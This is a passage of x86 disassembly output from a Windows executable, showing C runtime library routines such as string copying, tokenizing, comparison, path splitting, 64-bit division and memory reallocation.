loc_411C3A:				; CODE XREF: sub_411B80+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411C42:				; CODE XREF: sub_411B80+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411C4F:				; CODE XREF: sub_411B80+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411C58:				; CODE XREF: sub_411B80+72j
					; sub_411B80+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_411B80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C60	proc near		; CODE XREF: sub_4038A7+2B2p
					; seg000:00403F85p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_411C79:				; CODE XREF: sub_411C60+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_411C79
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_411CA1
		mov	edx, ds:dword_45F840


loc_411CA1:				; CODE XREF: sub_411C60+39j
					; sub_411C60+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_411CC1
		test	al, al
		jz	short loc_411CC1
		inc	edx
		jmp	short loc_411CA1
; ---------------------------------------------------------------------------


loc_411CC1:				; CODE XREF: sub_411C60+58j
					; sub_411C60+5Cj
		mov	ebx, edx


loc_411CC3:				; CODE XREF: sub_411C60+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_411CE7
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_411CE3
		inc	edx
		jmp	short loc_411CC3
; ---------------------------------------------------------------------------


loc_411CE3:				; CODE XREF: sub_411C60+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_411CE7:				; CODE XREF: sub_411C60+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_45F840, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_411C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411D00	proc near		; CODE XREF: sub_404134+1B4p
					; seg000:00405068p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_411D83
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_411D24
		shr	ecx, 2
		jnz	short loc_411D91
		jmp	short loc_411D45
; ---------------------------------------------------------------------------


loc_411D24:				; CODE XREF: sub_411D00+1Bj
					; sub_411D00+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_411D52
		test	al, al
		jz	short loc_411D5A
		test	esi, 3
		jnz	short loc_411D24
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411D91


loc_411D40:				; CODE XREF: sub_411D00+8Fj
		and	ebx, 3
		jz	short loc_411D52


loc_411D45:				; CODE XREF: sub_411D00+22j
					; sub_411D00+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_411D7E
		dec	ebx
		jnz	short loc_411D45


loc_411D52:				; CODE XREF: sub_411D00+2Bj
					; sub_411D00+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411D5A:				; CODE XREF: sub_411D00+2Fj
		test	edi, 3
		jz	short loc_411D74


loc_411D62:				; CODE XREF: sub_411D00+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_411DF6
		test	edi, 3
		jnz	short loc_411D62


loc_411D74:				; CODE XREF: sub_411D00+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411DE7


loc_411D7B:				; CODE XREF: sub_411D00+7Fj
					; sub_411D00+F4j
		mov	[edi], al
		inc	edi


loc_411D7E:				; CODE XREF: sub_411D00+4Dj
		dec	ebx
		jnz	short loc_411D7B
		pop	ebx
		pop	esi


loc_411D83:				; CODE XREF: sub_411D00+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411D89:				; CODE XREF: sub_411D00+A9j
					; sub_411D00+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_411D40


loc_411D91:				; CODE XREF: sub_411D00+20j
					; sub_411D00+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_411D89
		test	dl, dl
		jz	short loc_411DDB
		test	dh, dh
		jz	short loc_411DD1
		test	edx, 0FF0000h
		jz	short loc_411DC7
		test	edx, 0FF000000h
		jnz	short loc_411D89
		mov	[edi], edx
		jmp	short loc_411DDF
; ---------------------------------------------------------------------------


loc_411DC7:				; CODE XREF: sub_411D00+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_411DDF
; ---------------------------------------------------------------------------


loc_411DD1:				; CODE XREF: sub_411D00+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_411DDF
; ---------------------------------------------------------------------------


loc_411DDB:				; CODE XREF: sub_411D00+ADj
		xor	edx, edx
		mov	[edi], edx


loc_411DDF:				; CODE XREF: sub_411D00+C5j
					; sub_411D00+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_411DF1


loc_411DE7:				; CODE XREF: sub_411D00+79j
		xor	eax, eax


loc_411DE9:				; CODE XREF: sub_411D00+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_411DE9


loc_411DF1:				; CODE XREF: sub_411D00+E5j
		and	ebx, 3
		jnz	short loc_411D7B


loc_411DF6:				; CODE XREF: sub_411D00+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_411D00	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_411E7A
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_411E1D
		cmp	edi, 1
		jz	short loc_411E1D
		cmp	edi, 2
		jnz	short loc_411E7A


loc_411E1D:				; CODE XREF: seg000:00411E11j
					; seg000:00411E16j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_411E34
		push	esi
		call	sub_416A3C
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_411E34:				; CODE XREF: seg000:00411E25j
		push	esi
		call	sub_416419
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_411E49
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_411E5D
; ---------------------------------------------------------------------------


loc_411E49:				; CODE XREF: seg000:00411E40j
		test	al, 1
		jz	short loc_411E5D
		test	al, 8
		jz	short loc_411E5D
		test	ah, 4
		jnz	short loc_411E5D
		mov	dword ptr [esi+18h], 200h


loc_411E5D:				; CODE XREF: seg000:00411E47j
					; seg000:00411E4Bj ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_4169A2
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E7A:				; CODE XREF: seg000:00411E09j
					; seg000:00411E1Bj
		mov	ds:dword_45F844, 16h
		or	eax, 0FFFFFFFFh


loc_411E87:				; CODE XREF: seg000:00411E78j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E90	proc near		; CODE XREF: seg000:00409B6Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_411EC1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_411EBF
		jz	short loc_411EC1
		dec	ecx
		dec	ecx


loc_411EBF:				; CODE XREF: sub_411E90+29j
		not	ecx


loc_411EC1:				; CODE XREF: sub_411E90+9j
					; sub_411E90+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_411E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411ED0	proc near		; CODE XREF: sub_404EB9+5Cp
					; sub_404EB9+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_411F84
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_411EFA


loc_411EEB:				; CODE XREF: sub_411ED0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_411F2B
		test	edi, 3
		jnz	short loc_411EEB


loc_411EFA:				; CODE XREF: sub_411ED0+19j
					; sub_411ED0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_411EFA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_411F38
		test	ah, ah
		jz	short loc_411F33
		test	eax, 0FF0000h
		jz	short loc_411F2E
		test	eax, 0FF000000h
		jnz	short loc_411EFA


loc_411F2B:				; CODE XREF: sub_411ED0+20j
		dec	edi
		jmp	short loc_411F3B
; ---------------------------------------------------------------------------


loc_411F2E:				; CODE XREF: sub_411ED0+52j
		sub	edi, 2
		jmp	short loc_411F3B
; ---------------------------------------------------------------------------


loc_411F33:				; CODE XREF: sub_411ED0+4Bj
		sub	edi, 3
		jmp	short loc_411F3B
; ---------------------------------------------------------------------------


loc_411F38:				; CODE XREF: sub_411ED0+47j
		sub	edi, 4


loc_411F3B:				; CODE XREF: sub_411ED0+5Cj
					; sub_411ED0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_411F50
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411F9C
		jmp	short loc_411F6C
; ---------------------------------------------------------------------------


loc_411F50:				; CODE XREF: sub_411ED0+75j
					; sub_411ED0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_411F8A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_411F80
		test	esi, 3
		jnz	short loc_411F50
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411F9C


loc_411F6C:				; CODE XREF: sub_411ED0+7Ej
					; sub_411ED0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_411F80


loc_411F73:				; CODE XREF: sub_411ED0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_411F82
		dec	ecx
		jnz	short loc_411F73


loc_411F80:				; CODE XREF: sub_411ED0+8Bj
					; sub_411ED0+A1j
		mov	[edi], cl


loc_411F82:				; CODE XREF: sub_411ED0+ABj
		pop	ebx
		pop	esi


loc_411F84:				; CODE XREF: sub_411ED0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F8A:				; CODE XREF: sub_411ED0+85j
					; sub_411ED0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F94:				; CODE XREF: sub_411ED0+E4j
					; sub_411ED0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_411F6C


loc_411F9C:				; CODE XREF: sub_411ED0+7Cj
					; sub_411ED0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_411F94
		test	dl, dl
		jz	short loc_411F8A
		test	dh, dh
		jz	short loc_411FE8
		test	edx, 0FF0000h
		jz	short loc_411FD8
		test	edx, 0FF000000h
		jnz	short loc_411F94
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411FD8:				; CODE XREF: sub_411ED0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411FE8:				; CODE XREF: sub_411ED0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_411ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412000	proc near		; CODE XREF: seg000:0040BBA0p
					; seg000:0040BBBEp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_412021
		xor	eax, eax
		jmp	short loc_412023
; ---------------------------------------------------------------------------


loc_412021:				; CODE XREF: sub_412000+1Bj
		mov	eax, edi


loc_412023:				; CODE XREF: sub_412000+1Fj
		cld
		pop	edi
		leave
		retn
sub_412000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412027	proc near		; CODE XREF: sub_406DE8+6p
					; sub_406E06+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45F8D0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_412054
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4120ED
		cmp	eax, 5Ah
		jg	loc_4120ED
		add	eax, 20h
		jmp	loc_4120ED
; ---------------------------------------------------------------------------


loc_412054:				; CODE XREF: sub_412027+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_412088
		cmp	ds:dword_42E39C, esi
		jle	short loc_412076
		push	esi
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_412080
; ---------------------------------------------------------------------------


loc_412076:				; CODE XREF: sub_412027+42j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_412080:				; CODE XREF: sub_412027+4Dj
		test	eax, eax
		jnz	short loc_412088


loc_412084:				; CODE XREF: sub_412027+ADj
		mov	eax, ebx
		jmp	short loc_4120ED
; ---------------------------------------------------------------------------


loc_412088:				; CODE XREF: sub_412027+3Aj
					; sub_412027+5Bj
		mov	edx, ds:off_42E190
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4120AC
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4120B5
; ---------------------------------------------------------------------------


loc_4120AC:				; CODE XREF: sub_412027+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4120B5:				; CODE XREF: sub_412027+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_45F8D0
		call	loc_416B94
		add	esp, 20h
		test	eax, eax
		jz	short loc_412084
		cmp	eax, esi
		jnz	short loc_4120E0
		movzx	eax, [ebp+var_4]
		jmp	short loc_4120ED
; ---------------------------------------------------------------------------


loc_4120E0:				; CODE XREF: sub_412027+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4120ED:				; CODE XREF: sub_412027+16j
					; sub_412027+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412027	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412100	proc near		; CODE XREF: sub_4078E6+3Dp
					; sub_40867B+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_412121
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_412171
; ---------------------------------------------------------------------------


loc_412121:				; CODE XREF: sub_412100+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41212F:				; CODE XREF: sub_412100+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41212F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41215A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41215A
		jb	short loc_412162
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_412162


loc_41215A:				; CODE XREF: sub_412100+4Aj
					; sub_412100+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_412162:				; CODE XREF: sub_412100+52j
					; sub_412100+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_412171:				; CODE XREF: sub_412100+1Fj
		pop	ebx
		retn	10h
sub_412100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412180	proc near		; CODE XREF: sub_4078E6+24p
					; sub_40867B+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4121A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4121E3
; ---------------------------------------------------------------------------


loc_4121A2:				; CODE XREF: sub_412180+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4121B0:				; CODE XREF: sub_412180+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4121B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4121DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4121DE
		jb	short loc_4121DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4121DF


loc_4121DE:				; CODE XREF: sub_412180+4Ej
					; sub_412180+54j
		dec	esi


loc_4121DF:				; CODE XREF: sub_412180+56j
					; sub_412180+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4121E3:				; CODE XREF: sub_412180+20j
		pop	esi
		pop	ebx
		retn	10h
sub_412180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4121E8	proc near		; CODE XREF: sub_40799C+1E3p
					; seg000:0040D857p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_410B60
		cmp	eax, 1
		pop	ecx
		jb	short loc_412223
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_412223
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41221F
		push	2
		push	ebx
		push	esi
		call	sub_4171C3
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41221F:				; CODE XREF: sub_4121E8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41222D
; ---------------------------------------------------------------------------


loc_412223:				; CODE XREF: sub_4121E8+18j
					; sub_4121E8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41222D
		and	byte ptr [eax],	0


loc_41222D:				; CODE XREF: sub_4121E8+39j
					; sub_4121E8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4122A5


loc_412240:				; CODE XREF: sub_4121E8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_460D81[edx], 4
		jz	short loc_412251
		inc	eax
		jmp	short loc_41226B
; ---------------------------------------------------------------------------


loc_412251:				; CODE XREF: sub_4121E8+64j
		cmp	cl, 2Fh
		jz	short loc_412265
		cmp	cl, 5Ch
		jz	short loc_412265
		cmp	cl, 2Eh
		jnz	short loc_41226B
		mov	[ebp+var_4], eax
		jmp	short loc_41226B
; ---------------------------------------------------------------------------


loc_412265:				; CODE XREF: sub_4121E8+6Cj
					; sub_4121E8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41226B:				; CODE XREF: sub_4121E8+67j
					; sub_4121E8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_412240
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4122A5
		cmp	[ebp+arg_8], 0
		jz	short loc_4122A0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_412289
		mov	edi, esi


loc_412289:				; CODE XREF: sub_4121E8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4171C3
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4122A0:				; CODE XREF: sub_4121E8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4122AF
; ---------------------------------------------------------------------------


loc_4122A5:				; CODE XREF: sub_4121E8+56j
					; sub_4121E8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4122AF
		and	byte ptr [ecx],	0


loc_4122AF:				; CODE XREF: sub_4121E8+BBj
					; sub_4121E8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_412302
		cmp	edi, ebx
		jb	short loc_412302
		cmp	[ebp+arg_C], 0
		jz	short loc_4122DF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4122C8
		mov	edi, esi


loc_4122C8:				; CODE XREF: sub_4121E8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4171C3
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4122DF:				; CODE XREF: sub_4121E8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41232A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4122EF
		mov	esi, eax


loc_4122EF:				; CODE XREF: sub_4121E8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4171C3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41232A
; ---------------------------------------------------------------------------


loc_412302:				; CODE XREF: sub_4121E8+CCj
					; sub_4121E8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_412320
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_412311
		mov	esi, eax


loc_412311:				; CODE XREF: sub_4121E8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4171C3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_412320:				; CODE XREF: sub_4121E8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41232A
		and	byte ptr [eax],	0


loc_41232A:				; CODE XREF: sub_4121E8+FCj
					; sub_4121E8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4121E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41232F	proc near		; CODE XREF: sub_407E82+19p
					; sub_40E321+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_412C3C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41236D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41237A
; ---------------------------------------------------------------------------


loc_41236D:				; CODE XREF: sub_41232F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412B27
		pop	ecx
		pop	ecx


loc_41237A:				; CODE XREF: sub_41232F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41232F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41237F	proc near		; CODE XREF: seg000:0040810Ep
					; sub_411613+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41239A
		push	[esp+10h+arg_4]
		call	sub_410C0F
		pop	ecx
		jmp	loc_41249A
; ---------------------------------------------------------------------------


loc_41239A:				; CODE XREF: sub_41237F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4123B0
		push	ebx
		call	sub_410C83
		pop	ecx


loc_4123A9:				; CODE XREF: sub_41237F+114j
		xor	eax, eax
		jmp	loc_41249A
; ---------------------------------------------------------------------------


loc_4123B0:				; CODE XREF: sub_41237F+21j
					; sub_41237F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41247B
		push	ebx
		call	sub_413550
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_412458
		cmp	esi, ds:dword_42E3AC
		ja	short loc_412418
		push	esi
		push	ebx
		push	ebp
		call	sub_413D5B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4123E7
		mov	edi, ebx
		jmp	short loc_412410
; ---------------------------------------------------------------------------


loc_4123E7:				; CODE XREF: sub_41237F+62j
		push	esi
		call	sub_4138A6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_412418
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4123FE
		mov	eax, esi


loc_4123FE:				; CODE XREF: sub_41237F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4105F0
		push	ebx
		push	ebp
		call	sub_41357B
		add	esp, 14h


loc_412410:				; CODE XREF: sub_41237F+66j
		test	edi, edi
		jnz	loc_412498


loc_412418:				; CODE XREF: sub_41237F+53j
					; sub_41237F+73j
		test	esi, esi
		jnz	short loc_41241F
		push	1
		pop	esi


loc_41241F:				; CODE XREF: sub_41237F+9Bj
